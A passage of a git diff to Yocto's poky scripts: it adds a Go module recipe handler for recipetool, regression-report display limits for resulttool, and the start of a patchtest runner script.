+ r'^(?P<root>github\.com/[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsGitHub[vcs.type] = "git"
+ vcsGitHub[vcs.repo] = "https://\\g<root>"
+
+ # Bitbucket
+ vcsBitbucket = {}
+ vcsBitbucket[vcs.pathprefix] = "bitbucket.org"
+ vcsBitbucket[vcs.regexp] = re.compile(
+ r'^(?P<root>bitbucket\.org/(?P<bitname>[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+))(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsBitbucket[vcs.type] = "git"
+ vcsBitbucket[vcs.repo] = "https://\\g<root>"
+
+ # IBM DevOps Services (JazzHub)
+ vcsIBMDevOps = {}
+ vcsIBMDevOps[vcs.pathprefix] = "hub.jazz.net/git"
+ vcsIBMDevOps[vcs.regexp] = re.compile(
+ r'^(?P<root>hub\.jazz\.net/git/[a-z0-9]+/[A-Za-z0-9_.\-]+)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsIBMDevOps[vcs.type] = "git"
+ vcsIBMDevOps[vcs.repo] = "https://\\g<root>"
+
+ # Git at Apache
+ vcsApacheGit = {}
+ vcsApacheGit[vcs.pathprefix] = "git.apache.org"
+ vcsApacheGit[vcs.regexp] = re.compile(
+ r'^(?P<root>git\.apache\.org/[a-z0-9_.\-]+\.git)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsApacheGit[vcs.type] = "git"
+ vcsApacheGit[vcs.repo] = "https://\\g<root>"
+
+ # Git at OpenStack
+ vcsOpenStackGit = {}
+ vcsOpenStackGit[vcs.pathprefix] = "git.openstack.org"
+ vcsOpenStackGit[vcs.regexp] = re.compile(
+ r'^(?P<root>git\.openstack\.org/[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+)(\.git)?(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsOpenStackGit[vcs.type] = "git"
+ vcsOpenStackGit[vcs.repo] = "https://\\g<root>"
+
+ # chiselapp.com for fossil
+ vcsChiselapp = {}
+ vcsChiselapp[vcs.pathprefix] = "chiselapp.com"
+ vcsChiselapp[vcs.regexp] = re.compile(
+ r'^(?P<root>chiselapp\.com/user/[A-Za-z0-9]+/repository/[A-Za-z0-9_.\-]+)$')
+ vcsChiselapp[vcs.type] = "fossil"
+ vcsChiselapp[vcs.repo] = "https://\\g<root>"
+
+ # General syntax for any server.
+ # Must be last.
+ vcsGeneralServer = {}
+ vcsGeneralServer[vcs.regexp] = re.compile(
+ "(?P<root>(?P<repo>([a-z0-9.\\-]+\\.)+[a-z0-9.\\-]+(:[0-9]+)?(/~?[A-Za-z0-9_.\\-]+)+?)\\.(?P<vcs>bzr|fossil|git|hg|svn))(/~?(?P<suffix>[A-Za-z0-9_.\\-]+))*$")
+ vcsGeneralServer[vcs.schemelessRepo] = True
+
+ vcsPaths = [vcsGitHub, vcsBitbucket, vcsIBMDevOps,
+ vcsApacheGit, vcsOpenStackGit, vcsChiselapp,
+ vcsGeneralServer]
+
+ if modulepath.startswith("example.net") or modulepath == "rsc.io":
+ logger.warning("Suspicious module path %s" % modulepath)
+ return None
+ if modulepath.startswith("http:") or modulepath.startswith("https:"):
+ logger.warning("Import path should not start with %s %s" %
+ ("http", "https"))
+ return None
+
+ rootpath = None
+ vcstype = None
+ repourl = None
+ suffix = None
+
+ for srv in vcsPaths:
+ m = srv[vcs.regexp].match(modulepath)
+ if vcs.pathprefix in srv:
+ if host == srv[vcs.pathprefix]:
+ rootpath = m.group('root')
+ vcstype = srv[vcs.type]
+ repourl = m.expand(srv[vcs.repo])
+ suffix = m.group('suffix')
+ break
+ elif m and srv[vcs.schemelessRepo]:
+ rootpath = m.group('root')
+ vcstype = m[vcs.type]
+ repourl = m[vcs.repo]
+ suffix = m.group('suffix')
+ break
+
+ return GoImport(rootpath, vcstype, repourl, suffix)
+
+ def __resolve_repository_dynamic(self, modulepath):
+ """Resolve the repository root in a dynamic manner.
+
+ The method is based on the go implementation of
+ `repoRootForImportDynamic` in
+ https://github.com/golang/go/blob/master/src/cmd/go/internal/vcs/vcs.go
+ """
+ url = urllib.parse.urlparse("https://" + modulepath)
+
+ class GoImportHTMLParser(HTMLParser):
+
+ def __init__(self):
+ super().__init__()
+ self.__srv = []
+
+ def handle_starttag(self, tag, attrs):
+ if tag == 'meta' and list(
+ filter(lambda a: (a[0] == 'name' and a[1] == 'go-import'), attrs)):
+ content = list(
+ filter(lambda a: (a[0] == 'content'), attrs))
+ if content:
+ self.__srv = content[0][1].split()
+
+ @property
+ def import_prefix(self):
+ return self.__srv[0] if len(self.__srv) else None
+
+ @property
+ def vcs(self):
+ return self.__srv[1] if len(self.__srv) else None
+
+ @property
+ def repourl(self):
+ return self.__srv[2] if len(self.__srv) else None
+
+ url = url.geturl() + "?go-get=1"
+ req = urllib.request.Request(url)
+
+ try:
+ resp = urllib.request.urlopen(req)
+
+ except URLError as url_err:
+ logger.warning(
+ "Failed to fetch page from [%s]: %s", url, str(url_err))
+ return None
+
+ parser = GoImportHTMLParser()
+ parser.feed(resp.read().decode('utf-8'))
+ parser.close()
+
+ return GoImport(parser.import_prefix, parser.vcs, parser.repourl, None)
+
+ def __resolve_from_golang_proxy(self, modulepath, version):
+ """
+ Resolves repository data from golang proxy
+ """
+ url = urllib.parse.urlparse("https://proxy.golang.org/"
+ + modulepath
+ + "/@v/"
+ + version
+ + ".info")
+
+ # Transform url to lower case, golang proxy doesn't like mixed case
+ req = urllib.request.Request(url.geturl().lower())
+
+ try:
+ resp = urllib.request.urlopen(req)
+ except URLError as url_err:
+ logger.warning(
+ "Failed to fetch page from [%s]: %s", url, str(url_err))
+ return None
+
+ golang_proxy_res = resp.read().decode('utf-8')
+ modinfo = json.loads(golang_proxy_res)
+
+ if modinfo and 'Origin' in modinfo:
+ origin = modinfo['Origin']
+ _root_url = urllib.parse.urlparse(origin['URL'])
+
+ # We normalize the repo URL since we don't want the scheme in it
+ _subdir = origin['Subdir'] if 'Subdir' in origin else None
+ _root, _, _ = self.__split_path_version(modulepath)
+ if _subdir:
+ _root = _root[:-len(_subdir)].strip('/')
+
+ _commit = origin['Hash']
+ _vcs = origin['VCS']
+ return (GoImport(_root, _vcs, _root_url.geturl(), None), _commit)
+
+ return None
+
+ def __resolve_repository(self, modulepath):
+ """
+ Resolves src uri from go module-path
+ """
+ repodata = self.__resolve_repository_static(modulepath)
+ if not repodata or not repodata.url:
+ repodata = self.__resolve_repository_dynamic(modulepath)
+ if not repodata or not repodata.url:
+ logger.error(
+ "Could not resolve repository for module path '%s'" % modulepath)
+ # There is no way to recover from this
+ sys.exit(14)
+ if repodata:
+ logger.debug(1, "Resolved download path for import '%s' => %s" % (
+ modulepath, repodata.url))
+ return repodata
+
+ def __split_path_version(self, path):
+ i = len(path)
+ dot = False
+ for j in range(i, 0, -1):
+ if path[j - 1] < '0' or path[j - 1] > '9':
+ break
+ if path[j - 1] == '.':
+ dot = True
+ break
+ i = j - 1
+
+ if i <= 1 or i == len(
+ path) or path[i - 1] != 'v' or path[i - 2] != '/':
+ return path, "", True
+
+ prefix, pathMajor = path[:i - 2], path[i - 2:]
+ if dot or len(
+ pathMajor) <= 2 or pathMajor[2] == '0' or pathMajor == "/v1":
+ return path, "", False
+
+ return prefix, pathMajor, True
+
+ def __get_path_major(self, pathMajor):
+ if not pathMajor:
+ return ""
+
+ if pathMajor[0] != '/' and pathMajor[0] != '.':
+ logger.error(
+ "pathMajor suffix %s passed to PathMajorPrefix lacks separator", pathMajor)
+
+ if pathMajor.startswith(".v") and pathMajor.endswith("-unstable"):
+ pathMajor = pathMajor[:len("-unstable") - 2]
+
+ return pathMajor[1:]
+
+ def __build_coderepo(self, repo, path):
+ codedir = ""
+ pathprefix, pathMajor, _ = self.__split_path_version(path)
+ if repo.root == path:
+ pathprefix = path
+ elif path.startswith(repo.root):
+ codedir = pathprefix[len(repo.root):].strip('/')
+
+ pseudoMajor = self.__get_path_major(pathMajor)
+
+ logger.debug("root='%s', codedir='%s', prefix='%s', pathMajor='%s', pseudoMajor='%s'",
+ repo.root, codedir, pathprefix, pathMajor, pseudoMajor)
+
+ return CodeRepo(path, repo.root, codedir,
+ pathMajor, pathprefix, pseudoMajor)
+
+ def __resolve_version(self, repo, path, version):
+ hash = None
+ coderoot = self.__build_coderepo(repo, path)
+
+ def vcs_fetch_all():
+ tmpdir = tempfile.mkdtemp()
+ clone_cmd = "%s clone --bare %s %s" % ('git', repo.url, tmpdir)
+ bb.process.run(clone_cmd)
+ log_cmd = "git log --all --pretty='%H %d' --decorate=short"
+ output, _ = bb.process.run(
+ log_cmd, shell=True, stderr=subprocess.PIPE, cwd=tmpdir)
+ bb.utils.prunedir(tmpdir)
+ return output.strip().split('\n')
+
+ def vcs_fetch_remote(tag):
+ # add * to grab ^{}
+ refs = {}
+ ls_remote_cmd = "git ls-remote -q --tags {} {}*".format(
+ repo.url, tag)
+ output, _ = bb.process.run(ls_remote_cmd)
+ output = output.strip().split('\n')
+ for line in output:
+ f = line.split(maxsplit=1)
+ if len(f) != 2:
+ continue
+
+ for prefix in ["HEAD", "refs/heads/", "refs/tags/"]:
+ if f[1].startswith(prefix):
+ refs[f[1][len(prefix):]] = f[0]
+
+ for key, hash in refs.items():
+ if key.endswith(r"^{}"):
+ refs[key.strip(r"^{}")] = hash
+
+ return refs[tag]
+
+ m_pseudo_semver = re_pseudo_semver.match(version)
+
+ if m_pseudo_semver:
+ remote_refs = vcs_fetch_all()
+ short_commit = m_pseudo_semver.group('commithash')
+ for l in remote_refs:
+ r = l.split(maxsplit=1)
+ sha1 = r[0] if len(r) else None
+ if not sha1:
+ logger.error(
+ "Ups: could not resolve abbref commit for %s" % short_commit)
+
+ elif sha1.startswith(short_commit):
+ hash = sha1
+ break
+ else:
+ m_semver = re_semver.match(version)
+ if m_semver:
+
+ def get_sha1_remote(re):
+ rsha1 = None
+ for line in remote_refs:
+ # Split lines of the following format:
+ # 22e90d9b964610628c10f673ca5f85b8c2a2ca9a (tag: sometag)
+ lineparts = line.split(maxsplit=1)
+ sha1 = lineparts[0] if len(lineparts) else None
+ refstring = lineparts[1] if len(
+ lineparts) == 2 else None
+ if refstring:
+ # Normalize tag string and split in case of multiple
+ # regs e.g. (tag: speech/v1.10.0, tag: orchestration/v1.5.0 ...)
+ refs = refstring.strip('(), ').split(',')
+ for ref in refs:
+ if re.match(ref.strip()):
+ rsha1 = sha1
+ return rsha1
+
+ semver = "v" + m_semver.group('major') + "."\
+ + m_semver.group('minor') + "."\
+ + m_semver.group('patch') \
+ + (("-" + m_semver.group('prerelease'))
+ if m_semver.group('prerelease') else "")
+
+ tag = os.path.join(
+ coderoot.codeDir, semver) if coderoot.codeDir else semver
+
+ # probe tag using 'ls-remote', which is faster than fetching
+ # complete history
+ hash = vcs_fetch_remote(tag)
+ if not hash:
+ # backup: fetch complete history
+ remote_refs = vcs_fetch_all()
+ hash = get_sha1_remote(
+ re.compile(fr"(tag:|HEAD ->) ({tag})"))
+
+ logger.debug(
+ "Resolving commit for tag '%s' -> '%s'", tag, hash)
+ return hash
+
+ def __generate_srcuri_inline_fcn(self, path, version, replaces=None):
+ """Generate SRC_URI functions for go imports"""
+
+ logger.info("Resolving repository for module %s", path)
+ # First try to resolve repo and commit from golang proxy
+ # Most info is already there and we don't have to go through the
+ # repository or even perform the version resolve magic
+ golang_proxy_info = self.__resolve_from_golang_proxy(path, version)
+ if golang_proxy_info:
+ repo = golang_proxy_info[0]
+ commit = golang_proxy_info[1]
+ else:
+ # Fallback
+ # Resolve repository by 'hand'
+ repo = self.__resolve_repository(path)
+ commit = self.__resolve_version(repo, path, version)
+
+ url = urllib.parse.urlparse(repo.url)
+ repo_url = url.netloc + url.path
+
+ coderoot = self.__build_coderepo(repo, path)
+
+ inline_fcn = "${@go_src_uri("
+ inline_fcn += f"'{repo_url}','{version}'"
+ if repo_url != path:
+ inline_fcn += f",path='{path}'"
+ if coderoot.codeDir:
+ inline_fcn += f",subdir='{coderoot.codeDir}'"
+ if repo.vcs != 'git':
+ inline_fcn += f",vcs='{repo.vcs}'"
+ if replaces:
+ inline_fcn += f",replaces='{replaces}'"
+ if coderoot.pathMajor:
+ inline_fcn += f",pathmajor='{coderoot.pathMajor}'"
+ inline_fcn += ")}"
+
+ return inline_fcn, commit
+
+ def __go_handle_dependencies(self, go_mod, localfilesdir, extravalues, d):
+
+ src_uris = []
+ src_revs = []
+
+ def generate_src_rev(path, version, commithash):
+ src_rev = f"# {path}@{version} => {commithash}\n"
+ # Ups...maybe someone manipulated the source repository and the
+ # version or commit could not be resolved. This is a sign of
+ # a) the supply chain was manipulated (bad)
+ # b) the implementation for the version resolving didn't work
+ # anymore (less bad)
+ if not commithash:
+ src_rev += f"#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
+ src_rev += f"#!!! Could not resolve version !!!\n"
+ src_rev += f"#!!! Possible supply chain attack !!!\n"
+ src_rev += f"#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
+ src_rev += f"SRCREV_{path.replace('/', '.')} = \"{commithash}\""
+
+ return src_rev
+
+ for require in go_mod['Require']:
+ path = require['Path']
+ version = require['Version']
+
+ inline_fcn, commithash = self.__generate_srcuri_inline_fcn(
+ path, version)
+ src_uris.append(inline_fcn)
+ src_revs.append(generate_src_rev(path, version, commithash))
+
+ if go_mod['Replace']:
+ for replacement in go_mod['Replace']:
+ oldpath = replacement['Old']['Path']
+ path = replacement['New']['Path']
+ version = replacement['New']['Version']
+
+ inline_fcn, commithash = self.__generate_srcuri_inline_fcn(
+ path, version, oldpath)
+ src_uris.append(inline_fcn)
+ src_revs.append(generate_src_rev(path, version, commithash))
+
+ pn, _ = determine_from_url(go_mod['Module']['Path'])
+ go_mods_basename = "%s-modules.inc" % pn
+
+ go_mods_filename = os.path.join(localfilesdir, go_mods_basename)
+ with open(go_mods_filename, "w") as f:
+ # We introduce this indirection to make the tests a little easier
+ f.write("SRC_URI += \"${GO_DEPENDENCIES_SRC_URI}\"\n")
+ f.write("GO_DEPENDENCIES_SRC_URI = \"\\\n")
+ for uri in src_uris:
+ f.write(" " + uri + " \\\n")
+ f.write("\"\n\n")
+ for rev in src_revs:
+ f.write(rev + "\n")
+
+ extravalues['extrafiles'][go_mods_basename] = go_mods_filename
+
+ def __go_run_cmd(self, cmd, cwd, d):
+ return bb.process.run(cmd, env=dict(os.environ, PATH=d.getVar('PATH')),
+ shell=True, cwd=cwd)
+
+ def __go_native_version(self, d):
+ stdout, _ = self.__go_run_cmd("go version", None, d)
+ m = re.match(r".*\sgo((\d+).(\d+).(\d+))\s([\w\/]*)", stdout)
+ major = int(m.group(2))
+ minor = int(m.group(3))
+ patch = int(m.group(4))
+
+ return major, minor, patch
+
+ def __go_mod_patch(self, srctree, localfilesdir, extravalues, d):
+
+ patchfilename = "go.mod.patch"
+ go_native_version_major, go_native_version_minor, _ = self.__go_native_version(
+ d)
+ self.__go_run_cmd("go mod tidy -go=%d.%d" %
+ (go_native_version_major, go_native_version_minor), srctree, d)
+ stdout, _ = self.__go_run_cmd("go mod edit -json", srctree, d)
+
+ # Create patch in order to upgrade go version
+ self.__go_run_cmd("git diff go.mod > %s" % (patchfilename), srctree, d)
+ # Restore original state
+ self.__go_run_cmd("git checkout HEAD go.mod go.sum", srctree, d)
+
+ go_mod = json.loads(stdout)
+ tmpfile = os.path.join(localfilesdir, patchfilename)
+ shutil.move(os.path.join(srctree, patchfilename), tmpfile)
+
+ extravalues['extrafiles'][patchfilename] = tmpfile
+
+ return go_mod, patchfilename
+
+ def __go_mod_vendor(self, go_mod, srctree, localfilesdir, extravalues, d):
+ # Perform vendoring to retrieve the correct modules.txt
+ tmp_vendor_dir = tempfile.mkdtemp()
+
+ # -v causes to go to print modules.txt to stderr
+ _, stderr = self.__go_run_cmd(
+ "go mod vendor -v -o %s" % (tmp_vendor_dir), srctree, d)
+
+ modules_txt_basename = "modules.txt"
+ modules_txt_filename = os.path.join(localfilesdir, modules_txt_basename)
+ with open(modules_txt_filename, "w") as f:
+ f.write(stderr)
+
+ extravalues['extrafiles'][modules_txt_basename] = modules_txt_filename
+
+ licenses = []
+ lic_files_chksum = []
+ licvalues = guess_license(tmp_vendor_dir, d)
+ shutil.rmtree(tmp_vendor_dir)
+
+ if licvalues:
+ for licvalue in licvalues:
+ license = licvalue[0]
+ lics = tidy_licenses(fixup_license(license))
+ lics = [lic for lic in lics if lic not in licenses]
+ if len(lics):
+ licenses.extend(lics)
+ lic_files_chksum.append(
+ 'file://src/${GO_IMPORT}/vendor/%s;md5=%s' % (licvalue[1], licvalue[2]))
+
+ pn, _ = determine_from_url(go_mod['Module']['Path'])
+ licenses_basename = "%s-licenses.inc" % pn
+
+ licenses_filename = os.path.join(localfilesdir, licenses_basename)
+ with open(licenses_filename, "w") as f:
+ f.write("GO_MOD_LICENSES = \"%s\"\n\n" %
+ ' & '.join(sorted(licenses, key=str.casefold)))
+ # We introduce this indirection to make the tests a little easier
+ f.write("LIC_FILES_CHKSUM += \"${VENDORED_LIC_FILES_CHKSUM}\"\n")
+ f.write("VENDORED_LIC_FILES_CHKSUM = \"\\\n")
+ for lic in lic_files_chksum:
+ f.write(" " + lic + " \\\n")
+ f.write("\"\n")
+
+ extravalues['extrafiles'][licenses_basename] = licenses_filename
+
+ def process(self, srctree, classes, lines_before,
+ lines_after, handled, extravalues):
+
+ if 'buildsystem' in handled:
+ return False
+
+ files = RecipeHandler.checkfiles(srctree, ['go.mod'])
+ if not files:
+ return False
+
+ d = bb.data.createCopy(tinfoil.config_data)
+ go_bindir = self.__ensure_go()
+ if not go_bindir:
+ sys.exit(14)
+
+ d.prependVar('PATH', '%s:' % go_bindir)
+ handled.append('buildsystem')
+ classes.append("go-vendor")
+
+ stdout, _ = self.__go_run_cmd("go mod edit -json", srctree, d)
+
+ go_mod = json.loads(stdout)
+ go_import = go_mod['Module']['Path']
+ go_version_match = re.match("([0-9]+).([0-9]+)", go_mod['Go'])
+ go_version_major = int(go_version_match.group(1))
+ go_version_minor = int(go_version_match.group(2))
+ src_uris = []
+
+ localfilesdir = tempfile.mkdtemp(prefix='recipetool-go-')
+ extravalues.setdefault('extrafiles', {})
+ # go.mod files with version < 1.17 may not include all indirect
+ # dependencies. Thus, we have to upgrade the go version.
+ if go_version_major == 1 and go_version_minor < 17:
+ logger.warning(
+ "go.mod files generated by Go < 1.17 might have incomplete indirect dependencies.")
+ go_mod, patchfilename = self.__go_mod_patch(srctree, localfilesdir,
+ extravalues, d)
+ src_uris.append(
+ "file://%s;patchdir=src/${GO_IMPORT}" % (patchfilename))
+
+ # Check whether the module is vendored. If so, we have nothing to do.
+ # Otherwise we gather all dependencies and add them to the recipe
+ if not os.path.exists(os.path.join(srctree, "vendor")):
+
+ # Write additional $BPN-modules.inc file
+ self.__go_mod_vendor(go_mod, srctree, localfilesdir, extravalues, d)
+ lines_before.append("LICENSE += \" & ${GO_MOD_LICENSES}\"")
+ lines_before.append("require ${BPN}-licenses.inc")
+
+ self.__rewrite_src_uri(lines_before, ["file://modules.txt"])
+
+ self.__go_handle_dependencies(go_mod, localfilesdir, extravalues, d)
+ lines_before.append("require ${BPN}-modules.inc")
+
+ # Do generic license handling
+ handle_license_vars(srctree, lines_before, handled, extravalues, d)
+ self.__rewrite_lic_uri(lines_before)
+
+ lines_before.append("GO_IMPORT = \"{}\"".format(go_import))
+ lines_before.append("SRCREV_FORMAT = \"${BPN}\"")
+
+ def __update_lines_before(self, updated, newlines, lines_before):
+ if updated:
+ del lines_before[:]
+ for line in newlines:
+ # Hack to avoid newlines that edit_metadata inserts
+ if line.endswith('\n'):
+ line = line[:-1]
+ lines_before.append(line)
+ return updated
+
+ def __rewrite_lic_uri(self, lines_before):
+
+ def varfunc(varname, origvalue, op, newlines):
+ if varname == 'LIC_FILES_CHKSUM':
+ new_licenses = []
+ licenses = origvalue.split('\\')
+ for license in licenses:
+ license = license.strip()
+ uri, chksum = license.split(';', 1)
+ url = urllib.parse.urlparse(uri)
+ new_uri = os.path.join(
+ url.scheme + "://", "src", "${GO_IMPORT}", url.netloc + url.path) + ";" + chksum
+ new_licenses.append(new_uri)
+
+ return new_licenses, None, -1, True
+ return origvalue, None, 0, True
+
+ updated, newlines = bb.utils.edit_metadata(
+ lines_before, ['LIC_FILES_CHKSUM'], varfunc)
+ return self.__update_lines_before(updated, newlines, lines_before)
+
+ def __rewrite_src_uri(self, lines_before, additional_uris = []):
+
+ def varfunc(varname, origvalue, op, newlines):
+ if varname == 'SRC_URI':
+ src_uri = ["git://${GO_IMPORT};destsuffix=git/src/${GO_IMPORT};nobranch=1;name=${BPN};protocol=https"]
+ src_uri.extend(additional_uris)
+ return src_uri, None, -1, True
+ return origvalue, None, 0, True
+
+ updated, newlines = bb.utils.edit_metadata(lines_before, ['SRC_URI'], varfunc)
+ return self.__update_lines_before(updated, newlines, lines_before)
+
+
+def register_recipe_handlers(handlers):
+ handlers.append((GoRecipeHandler(), 60))
diff --git a/poky/scripts/lib/resulttool/regression.py b/poky/scripts/lib/resulttool/regression.py
index 3d64b8f4af..10e7d13841 100644
--- a/poky/scripts/lib/resulttool/regression.py
+++ b/poky/scripts/lib/resulttool/regression.py
@@ -78,6 +78,11 @@ STATUS_STRINGS = {
"None": "No matching test result"
}
+REGRESSIONS_DISPLAY_LIMIT=50
+
+MISSING_TESTS_BANNER = "-------------------------- Missing tests --------------------------"
+ADDITIONAL_DATA_BANNER = "--------------------- Matches and improvements --------------------"
+
def test_has_at_least_one_matching_tag(test, tag_list):
return "oetags" in test and any(oetag in tag_list for oetag in test["oetags"])
@@ -181,11 +186,29 @@ def get_status_str(raw_status):
raw_status_lower = raw_status.lower() if raw_status else "None"
return STATUS_STRINGS.get(raw_status_lower, raw_status)
-def compare_result(logger, base_name, target_name, base_result, target_result):
+def get_additional_info_line(new_pass_count, new_tests):
+ result=[]
+ if new_tests:
+ result.append(f'+{new_tests} test(s) present')
+ if new_pass_count:
+ result.append(f'+{new_pass_count} test(s) now passing')
+
+ if not result:
+ return ""
+
+ return ' -> ' + ', '.join(result) + '\n'
+
+def compare_result(logger, base_name, target_name, base_result, target_result, display_limit=None):
base_result = base_result.get('result')
target_result = target_result.get('result')
result = {}
new_tests = 0
+ regressions = {}
+ resultstring = ""
+ new_tests = 0
+ new_pass_count = 0
+
+ display_limit = int(display_limit) if display_limit else REGRESSIONS_DISPLAY_LIMIT
if base_result and target_result:
for k in base_result:
@@ -212,17 +235,33 @@ def compare_result(logger, base_name, target_name, base_result, target_result):
resultstring = "Regression: %s\n %s\n" % (base_name, target_name)
for k in sorted(result):
if not result[k]['target'] or not result[k]['target'].startswith("PASS"):
- resultstring += ' %s: %s -> %s\n' % (k, get_status_str(result[k]['base']), get_status_str(result[k]['target']))
+ # Differentiate each ptest kind when listing regressions
+ key_parts = k.split('.')
+ key = '.'.join(key_parts[:2]) if k.startswith('ptest') else key_parts[0]
+ # Append new regression to corresponding test family
+ regressions[key] = regressions.setdefault(key, []) + [' %s: %s -> %s\n' % (k, get_status_str(result[k]['base']), get_status_str(result[k]['target']))]
+ resultstring += f" Total: {sum([len(regressions[r]) for r in regressions])} new regression(s):\n"
+ for k in regressions:
+ resultstring += f" {len(regressions[k])} regression(s) for {k}\n"
+ count_to_print=min([display_limit, len(regressions[k])]) if display_limit > 0 else len(regressions[k])
+ resultstring += ''.join(regressions[k][:count_to_print])
+ if count_to_print < len(regressions[k]):
+ resultstring+=' [...]\n'
if new_pass_count > 0:
resultstring += f' Additionally, {new_pass_count} previously failing test(s) is/are now passing\n'
+ if new_tests > 0:
+ resultstring += f' Additionally, {new_tests} new test(s) is/are present\n'
else:
- resultstring = "Improvement: %s\n %s\n (+%d test(s) passing)\n" % (base_name, target_name, new_pass_count)
+ resultstring = "%s\n%s\n" % (base_name, target_name)
result = None
else:
- resultstring = "Match: %s\n %s\n" % (base_name, target_name)
+ resultstring = "%s\n%s\n" % (base_name, target_name)
+
+ if not result:
+ additional_info = get_additional_info_line(new_pass_count, new_tests)
+ if additional_info:
+ resultstring += additional_info
- if new_tests > 0:
- resultstring += f' Additionally, {new_tests} new test(s) is/are present\n'
return result, resultstring
def get_results(logger, source):
@@ -280,7 +319,7 @@ def regression_common(args, logger, base_results, target_results):
for b in target.copy():
if not can_be_compared(logger, base_results[a][c], target_results[a][b]):
continue
- res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b])
+ res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b], args.limit)
if not res:
matches.append(resstr)
base.remove(c)
@@ -291,15 +330,16 @@ def regression_common(args, logger, base_results, target_results):
for b in target:
if not can_be_compared(logger, base_results[a][c], target_results[a][b]):
continue
- res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b])
+ res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b], args.limit)
if res:
regressions.append(resstr)
else:
notfound.append("%s not found in target" % a)
- print("\n".join(sorted(matches)))
- print("\n")
print("\n".join(sorted(regressions)))
+ print("\n" + MISSING_TESTS_BANNER + "\n")
print("\n".join(sorted(notfound)))
+ print("\n" + ADDITIONAL_DATA_BANNER + "\n")
+ print("\n".join(sorted(matches)))
return 0
def regression_git(args, logger):
@@ -403,4 +443,5 @@ def register_commands(subparsers):
parser_build.add_argument('--commit-number', help="Revision number to search for, redundant if --commit is specified")
parser_build.add_argument('--commit2', help="Revision to compare with")
parser_build.add_argument('--commit-number2', help="Revision number to compare with, redundant if --commit2 is specified")
+ parser_build.add_argument('-l', '--limit', default=REGRESSIONS_DISPLAY_LIMIT, help="Maximum number of changes to display per test. Can be set to 0 to print all changes")
diff --git a/poky/scripts/patchtest b/poky/scripts/patchtest
new file mode 100755
index 0000000000..a1c824f7b7
--- /dev/null
+++ b/poky/scripts/patchtest
@@ -0,0 +1,225 @@
+#!/usr/bin/env python3
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtest: execute all unittest test cases discovered for a single patch
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import sys
+import os
+import unittest
+import logging
+import traceback
+import json
+
+# Include current path so test cases can see it
+sys.path.insert(0, os.path.dirname(os.path.realpath(__file__)))
+
+# Include patchtest library
+sys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), '../meta/lib/patchtest'))
+
+from data import PatchTestInput
+from repo import PatchTestRepo
+
+import utils
+logger = utils.logger_create('patchtest')
+info = logger.info
+error = logger.error
+
+import repo
+
+def getResult(patch, mergepatch, logfile=None):
+
+ class PatchTestResult(unittest.TextTestResult):
+ """ Patchtest TextTestResult """
+ shouldStop = True
+ longMessage = False
+
+ success = 'PASS'
+ fail = 'FAIL'
+ skip = 'SKIP'
+
+ def startTestRun(self):
+ # let's create the repo already, it can be used later on
+ repoargs = {
+ 'repodir': PatchTestInput.repodir,
+ 'commit' : PatchTestInput.basecommit,
+ 'branch' : PatchTestInput.basebranch,
+ 'patch' : patch,
+ }
+
+ self.repo_error = False
+ self.test_error = False
+ self.test_failure = False
+
+ try:
+ self.repo = PatchTestInput.repo = PatchTestRepo(**repoargs)
+ except:
+ logger.error(traceback.print_exc())
+ self.repo_error = True
+ self.stop()
+ return
+
+ if mergepatch:
+ self.repo.merge()
+
+ def addError(self, test, err):
+ self.test_error = True
+ (ty, va, trace) = err
+ logger.error(traceback.print_exc())
+
+ def addFailure(self, test, err):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ self.test_failure = True
+ fail_str = '{}: {}: {} ({})'.format(self.fail,
+ test_description, json.loads(str(err[1]))["issue"],
+ test.id())
+ print(fail_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(fail_str + "\n")
+
+ def addSuccess(self, test):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ success_str = '{}: {} ({})'.format(self.success,
+ test_description, test.id())
+ print(success_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(success_str + "\n")
+
+ def addSkip(self, test, reason):
+ test_description = test.id().split('.')[-1].replace('_', ' ').replace("cve", "CVE").replace("signed off by",
+ "Signed-off-by").replace("upstream status",
+ "Upstream-Status").replace("non auh",
+ "non-AUH").replace("presence format", "presence")
+ skip_str = '{}: {}: {} ({})'.format(self.skip,
+ test_description, json.loads(str(reason))["issue"],
+ test.id())
+ print(skip_str)
+ if logfile:
+ with open(logfile, "a") as f:
+ f.write(skip_str + "\n")
+
+ def stopTestRun(self):
+
+ # in case there was an error on repo object creation, just return
+ if self.repo_error:
+ return
+
+ self.repo.clean()
+
+ return PatchTestResult
+
+def _runner(resultklass, prefix=None):
+ # load test with the corresponding prefix
+ loader = unittest.TestLoader()
+ if prefix:
+ loader.testMethodPrefix = prefix
+
+ # create the suite with discovered tests and the corresponding runner
+ suite = loader.discover(start_dir=PatchTestInput.testdir, pattern=PatchTestInput.pattern, top_level_dir=PatchTestInput.topdir)
+ ntc = suite.countTestCases()
+
+ # if there are no test cases, just quit
+ if not ntc:
+ return 2
+ runner = unittest.TextTestRunner(resultclass=resultklass, verbosity=0)
+
+ try:
+ result = runner.run(suite)
+ except:
+ logger.error(traceback.print_exc())
